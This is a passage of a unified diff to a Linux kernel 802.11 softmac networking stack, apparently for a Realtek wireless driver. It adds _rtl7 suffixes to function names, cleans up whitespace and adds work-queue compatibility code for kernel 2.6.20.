= (struct ieee80211_hdr_3addr *) skb->data; u16 errcode; u8* challenge; int chlen; int aid; - + + chlen = 0; + + header = (struct ieee80211_hdr_3addr *) skb->data; + if(!ieee->proto_started) return 0; - + if(ieee->sta_sleep || (ieee->ps != IEEE80211_PS_DISABLED && - ieee->iw_mode == IW_MODE_INFRA && + ieee->iw_mode == IW_MODE_INFRA && ieee->state == IEEE80211_LINKED)) - + tasklet_schedule(&ieee->ps_task); - + if(WLAN_FC_GET_STYPE(header->frame_ctl) != IEEE80211_STYPE_PROBE_RESP && WLAN_FC_GET_STYPE(header->frame_ctl) != IEEE80211_STYPE_BEACON) ieee->last_rx_ps_time = jiffies; - + switch (WLAN_FC_GET_STYPE(header->frame_ctl)) { - + case IEEE80211_STYPE_ASSOC_RESP: case IEEE80211_STYPE_REASSOC_RESP: - + IEEE80211_DEBUG_MGMT("received [RE]ASSOCIATION RESPONSE (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && - ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATED && + ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATED && ieee->iw_mode == IW_MODE_INFRA){ - if (0 == (errcode=assoc_parse(skb, &aid))){ - + if (0 == (errcode=assoc_parse_rtl7(skb, &aid))){ + ieee->state=IEEE80211_LINKED; ieee->assoc_id = aid; ieee->softmac_stats.rx_ass_ok++; - - ieee80211_associate_complete(ieee); + + ieee80211_associate_complete_rtl7(ieee); }else{ ieee->softmac_stats.rx_ass_err++; IEEE80211_DEBUG_MGMT( "Association response status code 0x%x\n", errcode); - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); } } break; - + case IEEE80211_STYPE_ASSOC_REQ: case IEEE80211_STYPE_REASSOC_REQ: - + if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && ieee->iw_mode == IW_MODE_MASTER) - - ieee80211_rx_assoc_rq(ieee, skb); + + ieee80211_rx_assoc_rq_rtl7(ieee, skb); break; - + case IEEE80211_STYPE_AUTH: - + if (ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE){ - if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING && + if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING && ieee->iw_mode == IW_MODE_INFRA){ - + IEEE80211_DEBUG_MGMT("Received authentication response"); - - if (0 == (errcode=auth_parse(skb, &challenge, &chlen))){ + + if (0 == (errcode=auth_parse_rtl7(skb, &challenge, &chlen))){ if(ieee->open_wep || !challenge){ ieee->state = IEEE80211_ASSOCIATING_AUTHENTICATED; ieee->softmac_stats.rx_auth_rs_ok++; - - ieee80211_associate_step2(ieee); + + ieee80211_associate_step2_rtl7(ieee); }else{ - ieee80211_auth_challenge(ieee, challenge, chlen); + ieee80211_auth_challenge_rtl7(ieee, challenge, chlen); } }else{ ieee->softmac_stats.rx_auth_rs_err++; IEEE80211_DEBUG_MGMT("Authentication respose status code 0x%x",errcode); - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); } - + }else if (ieee->iw_mode == IW_MODE_MASTER){ - ieee80211_rx_auth_rq(ieee, skb); + ieee80211_rx_auth_rq_rtl7(ieee, skb); } } break; - + case IEEE80211_STYPE_PROBE_REQ: - - if ((ieee->softmac_features & IEEE_SOFTMAC_PROBERS) && - ((ieee->iw_mode == IW_MODE_ADHOC || + + if ((ieee->softmac_features & IEEE_SOFTMAC_PROBERS) && + ((ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) && ieee->state == IEEE80211_LINKED)) - - ieee80211_rx_probe_rq(ieee, skb); + + ieee80211_rx_probe_rq_rtl7(ieee, skb); break; - + case IEEE80211_STYPE_DISASSOC: case IEEE80211_STYPE_DEAUTH: - /* FIXME for now repeat all the association procedure + /* FIXME for now repeat all the association procedure * both for disassociation and deauthentication */ if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && - ieee->state == IEEE80211_LINKED && + ieee->state == IEEE80211_LINKED && ieee->iw_mode == IW_MODE_INFRA){ - + ieee->state = IEEE80211_ASSOCIATING; ieee->softmac_stats.reassoc++; - - notify_wx_assoc_event(ieee); - + + notify_wx_assoc_event_rtl7(ieee); + queue_work(ieee->wq, &ieee->associate_procedure_wq); } - + break; - - default: + + default: return -1; break; } - + //dev_kfree_skb_any(skb); return 0; } @@ -1602,21 +1631,21 @@ * This might be useful if each fragment need it's own * descriptor, thus just keep a total free memory > than * the max fragmentation treshold is not enought.. If the - * ieee802.11 stack passed a TXB struct then you needed - * to keep N free descriptors where + * ieee802.11 stack passed a TXB struct then you needed + * to keep N free descriptors where * N = MAX_PACKET_SIZE / MIN_FRAG_TRESHOLD * In this way you need just one and the 802.11 stack - * will take care of buffering fragments and pass them to + * will take care of buffering fragments and pass them to * to the driver later, when it wakes the queue. - */ - -void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee) + */ + +void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee) { - - + + unsigned long flags; int i; - + spin_lock_irqsave(&ieee->lock,flags); #if 0 if(ieee->queue_stop){ @@ -1627,13 +1656,13 @@ err = 1; goto exit; } - + ieee->stats.tx_bytes+=skb->len; - - + + txb=ieee80211_skb_to_txb(ieee,skb); - - + + if(txb==NULL){ IEEE80211DMESG("WW: IEEE stack failed to provide txb"); //dev_kfree_skb_any(skb); @@ -1641,12 +1670,12 @@ goto exit; } #endif - + /* called with 2nd parm 0, no tx mgmt lock required */ - ieee80211_sta_wakeup(ieee,0); + ieee80211_sta_wakeup_rtl7(ieee,0); for(i = 0; i < txb->nr_frags; i++) { - + if (ieee->queue_stop){ ieee->tx_pending.txb = txb; ieee->tx_pending.frag = i; @@ -1658,29 +1687,29 @@ //(i+1)nr_frags); ieee->stats.tx_packets++; ieee->stats.tx_bytes += txb->fragments[i]->len; - ieee->dev->trans_start = jiffies; + ieee->dev->trans_start = jiffies; } - } - - ieee80211_txb_free(txb); - + } + + ieee80211_txb_free_rtl7(txb); + exit: spin_unlock_irqrestore(&ieee->lock,flags); - + } /* called with ieee->lock acquired */ -void ieee80211_resume_tx(struct ieee80211_device *ieee) +void ieee80211_resume_tx_rtl7(struct ieee80211_device *ieee) { int i; for(i = ieee->tx_pending.frag; i < ieee->tx_pending.txb->nr_frags; i++) { - + if (ieee->queue_stop){ ieee->tx_pending.frag = i; return; }else{ - - ieee->softmac_data_hard_start_xmit( + + ieee->softmac_data_hard_start_xmit( ieee->tx_pending.txb->fragments[i], ieee->dev,ieee->rate); //(i+1)tx_pending.txb->nr_frags); @@ -1688,21 +1717,21 @@ ieee->dev->trans_start = jiffies; } } - - - ieee80211_txb_free(ieee->tx_pending.txb); + + + ieee80211_txb_free_rtl7(ieee->tx_pending.txb); ieee->tx_pending.txb = NULL; } -void ieee80211_reset_queue(struct ieee80211_device *ieee) +void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee) { unsigned long flags; - + spin_lock_irqsave(&ieee->lock,flags); - init_mgmt_queue(ieee); + init_mgmt_queue_rtl7(ieee); if (ieee->tx_pending.txb){ - ieee80211_txb_free(ieee->tx_pending.txb); + ieee80211_txb_free_rtl7(ieee->tx_pending.txb); ieee->tx_pending.txb = NULL; } ieee->queue_stop = 0; @@ -1710,23 +1739,23 @@ } -void ieee80211_wake_queue(struct ieee80211_device *ieee) +void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee) { unsigned long flags; struct sk_buff *skb; struct ieee80211_hdr_3addr *header; - + spin_lock_irqsave(&ieee->lock,flags); if (! ieee->queue_stop) goto exit; - + ieee->queue_stop = 0; - + if(ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE){ - while (!ieee->queue_stop && (skb = dequeue_mgmt(ieee))){ - + while (!ieee->queue_stop && (skb = dequeue_mgmt_rtl7(ieee))){ + header = (struct ieee80211_hdr_3addr *) skb->data; - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); if (ieee->seq_ctrl == 0xFFF) @@ -1738,19 +1767,19 @@ } } if (!ieee->queue_stop && ieee->tx_pending.txb) - ieee80211_resume_tx(ieee); - + ieee80211_resume_tx_rtl7(ieee); + if (!ieee->queue_stop && netif_queue_stopped(ieee->dev)){ ieee->softmac_stats.swtxawake++; netif_wake_queue(ieee->dev); } - + exit : spin_unlock_irqrestore(&ieee->lock,flags); } -void ieee80211_stop_queue(struct ieee80211_device *ieee) +void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee) { //unsigned long flags; //spin_lock_irqsave(&ieee->lock,flags); @@ -1761,81 +1790,88 @@ } ieee->queue_stop = 1; //spin_unlock_irqrestore(&ieee->lock,flags); - + } -inline void ieee80211_randomize_cell(struct ieee80211_device *ieee) +inline void ieee80211_randomize_cell_rtl7(struct ieee80211_device *ieee) { - + get_random_bytes(ieee->current_network.bssid, ETH_ALEN); - + /* an IBSS cell address must have the two less significant - * bits of the first byte = 2 + * bits of the first byte = 2 */ ieee->current_network.bssid[0] &= ~0x01; ieee->current_network.bssid[0] |= 0x02; } /* called in user context only */ -void ieee80211_start_master_bss(struct ieee80211_device *ieee) +void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee) { ieee->assoc_id = 1; - + if (ieee->current_network.ssid_len == 0){ - strncpy(ieee->current_network.ssid, + strncpy(ieee->current_network.ssid, IEEE80211_DEFAULT_TX_ESSID, IW_ESSID_MAX_SIZE); - + ieee->current_network.ssid_len = strlen(IEEE80211_DEFAULT_TX_ESSID); ieee->ssid_set = 1; } - + memcpy(ieee->current_network.bssid, ieee->dev->dev_addr, ETH_ALEN); - + ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->state = IEEE80211_LINKED; ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); - + notify_wx_assoc_event_rtl7(ieee); + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); } -void ieee80211_start_monitor_mode(struct ieee80211_device *ieee) +void ieee80211_start_monitor_mode_rtl7(struct ieee80211_device *ieee) { if(ieee->raw_tx){ - + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); } } -void ieee80211_start_ibss_wq(struct ieee80211_device *ieee) + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_start_ibss_wq_rtl7(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, start_ibss_wq); +#else +void ieee80211_start_ibss_wq_rtl7(struct ieee80211_device *ieee) { - +#endif + /* iwconfig mode ad-hoc will schedule this and return * on the other hand this will block further iwconfig SET * operations because of the wx_sem hold. * Anyway some most set operations set a flag to speed-up - * (abort) this wq (when syncro scanning) before sleeping + * (abort) this wq (when syncro scanning) before sleeping * on the semaphore */ - + down(&ieee->wx_sem); - + if (ieee->current_network.ssid_len == 0){ strcpy(ieee->current_network.ssid,IEEE80211_DEFAULT_TX_ESSID); ieee->current_network.ssid_len = strlen(IEEE80211_DEFAULT_TX_ESSID); ieee->ssid_set = 1; - } - + } + /* check if we have this cell in our network list */ - ieee80211_softmac_check_all_nets(ieee); - + ieee80211_softmac_check_all_nets_rtl7(ieee); + /* if not then the state is not linked. Maybe the user swithced to * ad-hoc mode just after being in monitor mode, or just after * being very few time in managed mode (so the card have had no @@ -1851,29 +1887,29 @@ * associated. */ if (ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan_syncro(ieee); + ieee80211_start_scan_syncro_rtl7(ieee); /* the network definitively is not here.. create a new cell */ if (ieee->state == IEEE80211_NOLINK){ - printk("creating new IBSS cell\n"); + printk("creating new IBSS cell\n"); if(!ieee->wap_set) - ieee80211_randomize_cell(ieee); - + ieee80211_randomize_cell_rtl7(ieee); + if(ieee->modulation & IEEE80211_CCK_MODULATION){ - + ieee->current_network.rates_len = 4; - + ieee->current_network.rates[0] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_1MB; ieee->current_network.rates[1] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_2MB; ieee->current_network.rates[2] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_5MB; ieee->current_network.rates[3] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_11MB; - + }else ieee->current_network.rates_len = 0; - + if(ieee->modulation & IEEE80211_OFDM_MODULATION){ ieee->current_network.rates_ex_len = 8; - + ieee->current_network.rates_ex[0] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_6MB; ieee->current_network.rates_ex[1] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_9MB; ieee->current_network.rates_ex[2] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_12MB; @@ -1882,44 +1918,44 @@ ieee->current_network.rates_ex[5] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_36MB; ieee->current_network.rates_ex[6] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_48MB; ieee->current_network.rates_ex[7] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_54MB; - - ieee->rate = 540; + +// ieee->rate = 540; }else{ ieee->current_network.rates_ex_len = 0; - ieee->rate = 110; +// ieee->rate = 110; } - + ieee->current_network.atim_window = 0; ieee->current_network.capability = WLAN_CAPABILITY_IBSS; if(ieee->short_slot) ieee->current_network.capability |= WLAN_CAPABILITY_SHORT_SLOT; - + } - + ieee->state = IEEE80211_LINKED; - + ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->link_change(ieee->dev); - - notify_wx_assoc_event(ieee); - - ieee80211_start_send_beacons(ieee); - + + notify_wx_assoc_event_rtl7(ieee); + + ieee80211_start_send_beacons_rtl7(ieee); + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); - + up(&ieee->wx_sem); } -inline void ieee80211_start_ibss(struct ieee80211_device *ieee) +inline void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee) { queue_work(ieee->wq, &ieee->start_ibss_wq); } /* this is called only in user context, with wx_sem held */ -void ieee80211_start_bss(struct ieee80211_device *ieee) +void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee) { unsigned long flags; /* check if we have already found the net we @@ -1927,8 +1963,8 @@ * if not (we are disassociated and we are not * in associating / authenticating phase) start the background scanning. */ - ieee80211_softmac_check_all_nets(ieee); - + ieee80211_softmac_check_all_nets_rtl7(ieee); + /* ensure no-one start an associating process (thus setting * the ieee->state to ieee80211_ASSOCIATING) while we * have just cheked it and we are going to enable scan. @@ -1937,41 +1973,49 @@ * the rx path), so we cannot be in the middle of such function */ spin_lock_irqsave(&ieee->lock, flags); - if (ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan(ieee); - + ieee80211_start_scan_rtl7(ieee); + spin_unlock_irqrestore(&ieee->lock, flags); } /* called only in userspace context */ -void ieee80211_disassociate(struct ieee80211_device *ieee) +void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee) { netif_carrier_off(ieee->dev); - + if (ieee->softmac_features & IEEE_SOFTMAC_TX_QUEUE) - ieee80211_reset_queue(ieee); - + ieee80211_reset_queue_rtl7(ieee); + if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - + ieee->state = IEEE80211_NOLINK; ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); - + notify_wx_assoc_event_rtl7(ieee); + } -void ieee80211_associate_retry_wq(struct ieee80211_device *ieee) + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_retry_wq_rtl7(struct work_struct *work) +{ + struct delayed_work *dwork = container_of(work, struct delayed_work, work); + struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, associate_retry_wq); +#else +void ieee80211_associate_retry_wq_rtl7(struct ieee80211_device *ieee) { +#endif unsigned long flags; - + down(&ieee->wx_sem); + if(!ieee->proto_started) goto exit; - + if(ieee->state != IEEE80211_ASSOCIATING_RETRY) goto exit; - - /* until we do not set the state to IEEE80211_NOLINK + + /* until we do not set the state to IEEE80211_NOLINK * there are no possibility to have someone else trying * to start an association procdure (we get here with * ieee->state = IEEE80211_ASSOCIATING). @@ -1981,122 +2025,120 @@ * RX path works with ieee->lock held so there are no * problems. If we are still disassociated then start a scan. * the lock here is necessary to ensure no one try to start - * an association procedure when we have just checked the + * an association procedure when we have just checked the * state and we are going to start the scan. */ ieee->state = IEEE80211_NOLINK; - ieee80211_softmac_check_all_nets(ieee); - + ieee80211_softmac_check_all_nets_rtl7(ieee); + spin_lock_irqsave(&ieee->lock, flags); - + if(ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan(ieee); - + ieee80211_start_scan_rtl7(ieee); + spin_unlock_irqrestore(&ieee->lock, flags); exit: up(&ieee->wx_sem); } -struct sk_buff *ieee80211_get_beacon_(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon__rtl7(struct ieee80211_device *ieee) { u8 broadcast_addr[] = {0xff,0xff,0xff,0xff,0xff,0xff}; - + struct sk_buff *skb; struct ieee80211_probe_response *b; - - skb = ieee80211_probe_resp(ieee, broadcast_addr); - - if (!skb) + + skb = ieee80211_probe_resp_rtl7(ieee, broadcast_addr); + + if (!skb) return NULL; - + b = (struct ieee80211_probe_response *) skb->data; b->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_BEACON); - + return skb; - + } -struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; struct ieee80211_probe_response *b; - - skb = ieee80211_get_beacon_(ieee); - if(!skb) + + skb = ieee80211_get_beacon__rtl7(ieee); + if(!skb) return NULL; - - b = (struct ieee80211_probe_response *) skb->data; + + b = (struct ieee80211_probe_response *) skb->data; b->header.seq_ctrl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + return skb; } -void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee) +void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - ieee80211_stop_protocol(ieee); + + ieee80211_stop_protocol_rtl7(ieee); up(&ieee->wx_sem); } -void ieee80211_stop_protocol(struct ieee80211_device *ieee) +void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee) { if (!ieee->proto_started) return; - + ieee->proto_started = 0; - - ieee80211_stop_send_beacons(ieee); - + + ieee80211_stop_send_beacons_rtl7(ieee); + del_timer_sync(&ieee->associate_timer); - cancel_delayed_work(&ieee->associate_retry_wq); - - ieee80211_stop_scan(ieee); + cancel_delayed_work(&ieee->associate_retry_wq); + + ieee80211_stop_scan_rtl7(ieee); - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); } -void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee) +void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 0; down(&ieee->wx_sem); - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); up(&ieee->wx_sem); } -void ieee80211_start_protocol(struct ieee80211_device *ieee) +void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee) { short ch = 0; - if (ieee->proto_started) return; - + ieee->proto_started = 1; - + if (ieee->current_network.channel == 0){ do{ ch++; - if (ch > MAX_CHANNEL_NUMBER) + if (ch > MAX_CHANNEL_NUMBER) return; /* no channel found */ - + }while(!ieee->channel_map[ch]); - + ieee->current_network.channel = ch; } - + if (ieee->current_network.beacon_interval == 0) ieee->current_network.beacon_interval = 100; - ieee->set_chan(ieee->dev,ieee->current_network.channel); - ieee->last_seq_num = -1; ieee->last_frag_num = -1; ieee->last_packet_time = 0; @@ -2107,30 +2149,27 @@ * attempts does not fail just because the user provide the essid * and the nic is still checking for the AP MAC ?? */ - + if (ieee->iw_mode == IW_MODE_INFRA) - ieee80211_start_bss(ieee); - + ieee80211_start_bss_rtl7(ieee); else if (ieee->iw_mode == IW_MODE_ADHOC) - ieee80211_start_ibss(ieee); - + ieee80211_start_ibss_rtl7(ieee); else if (ieee->iw_mode == IW_MODE_MASTER) - ieee80211_start_master_bss(ieee); - + ieee80211_start_master_bss_rtl7(ieee); else if(ieee->iw_mode == IW_MODE_MONITOR) - ieee80211_start_monitor_mode(ieee); + ieee80211_start_monitor_mode_rtl7(ieee); } #define DRV_NAME "Ieee80211" -void ieee80211_softmac_init(struct ieee80211_device *ieee) +void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee) { memset(&ieee->current_network, 0, sizeof(struct ieee80211_network)); - + ieee->state = IEEE80211_NOLINK; ieee->sync_scan_hurryup = 0; ieee->seq_ctrl = 0; - + ieee->assoc_id = 0; ieee->queue_stop = 0; ieee->scanning = 0; @@ -2142,66 +2181,75 @@ ieee->rate = 3; ieee->ps = IEEE80211_PS_DISABLED; ieee->sta_sleep = 0; - - init_mgmt_queue(ieee); + + init_mgmt_queue_rtl7(ieee); #if 0 init_timer(&ieee->scan_timer); ieee->scan_timer.data = (unsigned long)ieee; ieee->scan_timer.function = ieee80211_softmac_scan_cb; #endif ieee->tx_pending.txb = NULL; - + init_timer(&ieee->associate_timer); ieee->associate_timer.data = (unsigned long)ieee; - ieee->associate_timer.function = ieee80211_associate_abort_cb; + ieee->associate_timer.function = ieee80211_associate_abort_cb_rtl7; init_timer(&ieee->beacon_timer); ieee->beacon_timer.data = (unsigned long) ieee; - ieee->beacon_timer.function = ieee80211_send_beacon_cb; - + ieee->beacon_timer.function = ieee80211_send_beacon_cb_rtl7; + #ifdef PF_SYNCTHREAD ieee->wq = create_workqueue(DRV_NAME,0); -#else +#else ieee->wq = create_workqueue(DRV_NAME); #endif - - INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq,ieee); - INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq,ieee); - INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq,ieee); - INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq,ieee); - INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq,ieee); - INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq,ieee); - + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq_rtl7,ieee); + INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq_rtl7,ieee); + INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq_rtl7,ieee); +#else + INIT_WORK(&ieee->start_ibss_wq, ieee80211_start_ibss_wq_rtl7); + INIT_DELAYED_WORK(&ieee->associate_retry_wq, ieee80211_associate_retry_wq_rtl7); + INIT_WORK(&ieee->associate_complete_wq, ieee80211_associate_complete_wq_rtl7); + INIT_WORK(&ieee->associate_procedure_wq, ieee80211_associate_procedure_wq_rtl7); + INIT_DELAYED_WORK(&ieee->softmac_scan_wq, ieee80211_softmac_scan_wq_rtl7); + INIT_WORK(&ieee->wx_sync_scan_wq, ieee80211_wx_sync_scan_wq_rtl7); +#endif + sema_init(&ieee->wx_sem, 1); sema_init(&ieee->scan_sem, 1); - + spin_lock_init(&ieee->mgmt_tx_lock); spin_lock_init(&ieee->beacon_lock); - + tasklet_init(&ieee->ps_task, - (void(*)(unsigned long)) ieee80211_sta_ps, + (void(*)(unsigned long)) ieee80211_sta_ps_rtl7, (unsigned long)ieee); } -void ieee80211_softmac_free(struct ieee80211_device *ieee) +void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee) { down(&ieee->wx_sem); - + del_timer_sync(&ieee->associate_timer); cancel_delayed_work(&ieee->associate_retry_wq); destroy_workqueue(ieee->wq); - + up(&ieee->wx_sem); } -/******************************************************** +/******************************************************** * Start of WPA code. * * this is stolen from the ipw2200 driver * ********************************************************/ - -static int ieee80211_wpa_enable(struct ieee80211_device *ieee, int value) + +static int ieee80211_wpa_enable_rtl7(struct ieee80211_device *ieee, int value) { /* This is called when wpa_supplicant loads and closes the driver * interface. */ @@ -2210,19 +2258,19 @@ return 0; } - -void ieee80211_wpa_assoc_frame(struct ieee80211_device *ieee, char *wpa_ie, int wpa_ie_len) + +void ieee80211_wpa_assoc_frame_rtl7(struct ieee80211_device *ieee, char *wpa_ie, int wpa_ie_len) { /* make sure WPA is enabled */ - ieee80211_wpa_enable(ieee, 1); + ieee80211_wpa_enable_rtl7(ieee, 1); - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); } -static int ieee80211_wpa_mlme(struct ieee80211_device *ieee, int command, int reason) +static int ieee80211_wpa_mlme_rtl7(struct ieee80211_device *ieee, int command, int reason) { - + int ret = 0; switch (command) { @@ -2231,7 +2279,7 @@ break; case IEEE_MLME_STA_DISASSOC: - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); break; default: @@ -2243,7 +2291,7 @@ } -static int ieee80211_wpa_set_wpa_ie(struct ieee80211_device *ieee, +static int ieee80211_wpa_set_wpa_ie_rtl7(struct ieee80211_device *ieee, struct ieee_param *param, int plen) { u8 *buf; @@ -2267,16 +2315,16 @@ ieee->wpa_ie_len = 0; } - ieee80211_wpa_assoc_frame(ieee, ieee->wpa_ie, ieee->wpa_ie_len); + ieee80211_wpa_assoc_frame_rtl7(ieee, ieee->wpa_ie, ieee->wpa_ie_len); return 0; } #define AUTH_ALG_OPEN_SYSTEM 0x1 #define AUTH_ALG_SHARED_KEY 0x2 -static int ieee80211_wpa_set_auth_algs(struct ieee80211_device *ieee, int value) +static int ieee80211_wpa_set_auth_algs_rtl7(struct ieee80211_device *ieee, int value) { - + struct ieee80211_security sec = { .flags = SEC_AUTH_MODE, }; @@ -2300,13 +2348,13 @@ -static int ieee80211_wpa_set_param(struct ieee80211_device *ieee, u8 name, u32 value) +static int ieee80211_wpa_set_param_rtl7(struct ieee80211_device *ieee, u8 name, u32 value) { int ret=0; switch (name) { case IEEE_PARAM_WPA_ENABLED: - ret = ieee80211_wpa_enable(ieee, value); + ret = ieee80211_wpa_enable_rtl7(ieee, value); break; case IEEE_PARAM_TKIP_COUNTERMEASURES: @@ -2351,7 +2399,7 @@ break; case IEEE_PARAM_AUTH_ALGS: - ret = ieee80211_wpa_set_auth_algs(ieee, value); + ret = ieee80211_wpa_set_auth_algs_rtl7(ieee, value); break; case IEEE_PARAM_IEEE_802_1X: @@ -2368,11 +2416,11 @@ /* implementation borrowed from hostap driver */ -static int ieee80211_wpa_set_encryption(struct ieee80211_device *ieee, +static int ieee80211_wpa_set_encryption_rtl7(struct ieee80211_device *ieee, struct ieee_param *param, int param_len) { int ret = 0; - + struct ieee80211_crypto_ops *ops; struct ieee80211_crypt_data **crypt; @@ -2407,7 +2455,7 @@ //sec.encrypt = 0; sec.level = SEC_LEVEL_0; sec.flags |= SEC_ENABLED | SEC_LEVEL; - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } goto done; } @@ -2421,16 +2469,16 @@ strcmp(param->u.crypt.alg, "TKIP")) goto skip_host_crypt; - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); if (ops == NULL && strcmp(param->u.crypt.alg, "WEP") == 0) { - request_module("ieee80211_crypt_wep"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_wep_rtl"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } else if (ops == NULL && strcmp(param->u.crypt.alg, "TKIP") == 0) { - request_module("ieee80211_crypt_tkip"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_tkip_rtl"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } else if (ops == NULL && strcmp(param->u.crypt.alg, "CCMP") == 0) { - request_module("ieee80211_crypt_ccmp"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_ccmp_rtl"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } if (ops == NULL) { printk("unknown crypto alg '%s'\n", param->u.crypt.alg); @@ -2442,7 +2490,7 @@ if (*crypt == NULL || (*crypt)->ops != ops) { struct ieee80211_crypt_data *new_crypt; - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); new_crypt = (struct ieee80211_crypt_data *) kmalloc(sizeof(*new_crypt), GFP_KERNEL); @@ -2525,7 +2573,7 @@ -int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p) +int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p) { struct ieee_param *param; int ret=0; @@ -2537,7 +2585,7 @@ ret = -EINVAL; goto out; } - + param = (struct ieee_param 